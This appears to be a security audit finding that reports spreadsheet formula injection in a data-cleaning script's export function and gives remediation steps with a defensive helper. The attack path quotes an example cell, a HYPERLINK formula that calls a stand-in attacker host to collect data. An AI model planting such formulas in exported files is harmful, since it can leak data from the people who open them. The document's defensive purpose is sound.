T09 · Insecure Skill Coding Practices
- Location
scripts/clean_data.py:24- Finding
Spreadsheet Formula Injection in Exported Files
- Content
View full analysis
Vulnerability Details
File Location:
scripts/clean_data.py, lines 24–31
Vulnerability Type: Spreadsheet formula injection
Risk Level: MediumVulnerable Code
python def save_data(df, file_path): """保存数据""" path = Path(file_path) output = path.parent / f"{path.stem}_cleaned{path.suffix}" if path.suffix == '.csv': df.to_csv(output, index=False) else: df.to_excel(output, index=False) return outputTechnical Analysis
The application exports values originating from potentially untrusted CSV or Excel files without neutralizing spreadsheet formula prefixes. Text beginning with characters such as
=,+,-, or@may be interpreted as a formula when the generated file is opened in spreadsheet software.The cleaning operations do not establish a safe-text policy before
DataFrame.to_csv()orDataFrame.to_excel()is called. Consequently, an attacker-controlled value can survive processing and enter the cleaned output as active spreadsheet content.Attack Path
- An attacker creates an input CSV or Excel file containing a cell such as:
text =HYPERLINK("https://attacker.example/collect","Open report") - A victim processes that file with
scripts/clean_data.py. - The cleaning functions preserve the crafted cell because formula neutralization is not implemented.
save_data()writes the value unchanged to the cleaned CSV or Excel file.- The victim or another recipient opens the generated file in spreadsheet software.
- The spreadsheet application interprets the cell as a formula. Depending on the spreadsheet software, its version, security configuration, and user interaction, the formula may initiate an external request, display a deceptive link, disclose data through formula-driven requests, or invoke other spreadsheet-specific behavior.
Impact Assessment
Exploitation occurs in the s ...[truncated 591 chars]
- An attacker creates an input CSV or Excel file containing a cell such as:
- Remediation
View remediation
Remediation Suggestions
Establish a safe export policy for all untrusted text cells before writing CSV or Excel output:
- Detect strings whose first non-whitespace character is
=,+,-, or@. - Neutralize those values by prefixing an apostrophe or otherwise forcing explicit text representation.
- Apply the protection consistently to both CSV and Excel exports.
- Consider tab, carriage-return, newline, and other leading-character bypasses when normalizing values.
- Preserve original data separately if exact raw values are required, and clearly distinguish raw exports from spreadsheet-safe exports.
- Add regression tests covering every dangerous prefix, leading whitespace, mixed data types, and both supported output formats.
- Document that generated files are sanitized for spreadsheet use and avoid offering an unsafe export mode by default.
Example defensive helper:
python FORMULA_PREFIXES = ("=", "+", "-", "@") def neutralize_formula(value): if isinstance(value, str) and value.lstrip().startswith(FORMULA_PREFIXES): return "'" + value return value safe_df = df.map(neutralize_formula)Export
safe_dfinstead of the original data frame. The exact escaping method should be validated against every supported spreadsheet application and output format.- Detect strings whose first non-whitespace character is